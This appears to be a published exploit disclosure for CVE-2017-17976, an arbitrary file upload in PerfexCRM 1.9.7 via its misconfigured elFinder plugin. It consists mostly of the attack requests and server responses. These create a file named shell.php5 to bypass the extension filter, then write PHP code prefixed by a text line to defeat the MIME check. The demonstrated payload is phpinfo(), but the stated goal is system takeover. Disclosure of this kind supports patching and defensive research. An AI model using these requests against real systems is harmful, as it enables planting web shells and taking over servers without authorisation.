PerfexCRM 1.9.7 – Arbitrary File Upload
# Exploit Title: PerfexCRM 1.9.7 – Unrestricted php5 File upload # Exploit Author: Ahmad Mahfouz # Description: PerfexCRM 1.9.7 prone to unrestricted file upload that lead to system take over by misconfigured elfinder plugin # Contact: http://twitter.com/eln1x # Date: 12/01/2018 # CVE: CVE-2017-17976 # Version: v1.9.7 # Software Link: https://www.perfexcrm.com/ # bypassing the misconfigured file upload with file .php5 GET admin/utilities/elfinder_init?cmd=mkfile&name=shell.php5&target=[dir] JSON Response: {"added":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"0","hash":"[XXX]","name":"shell.php5","phash":"[XXXX] "}],"changed":[{"isowner":false,"mime":"directory","read":1,"write":1,"size":0,"hash":"[ XXX]","name":"asa","phash":"[ XXX] ","volumeid":"[XXX]"}]} #bypass the file content restriction by adding TEXT line to represent mime type text Request POST /admin/utilities/elfinder_init HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Connection: close cmd=put&target=[folder]&encoding=UTF-8&content=demo newline to represent text mime type <?php phpinfo(); ?> HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 167 {"changed":[{"isowner":false,"mime":"text\/plain","read":1,"write":1,"size":"44","hash":"[XXX]","name":"shell.php5","phash":"[XXX]]"}]} |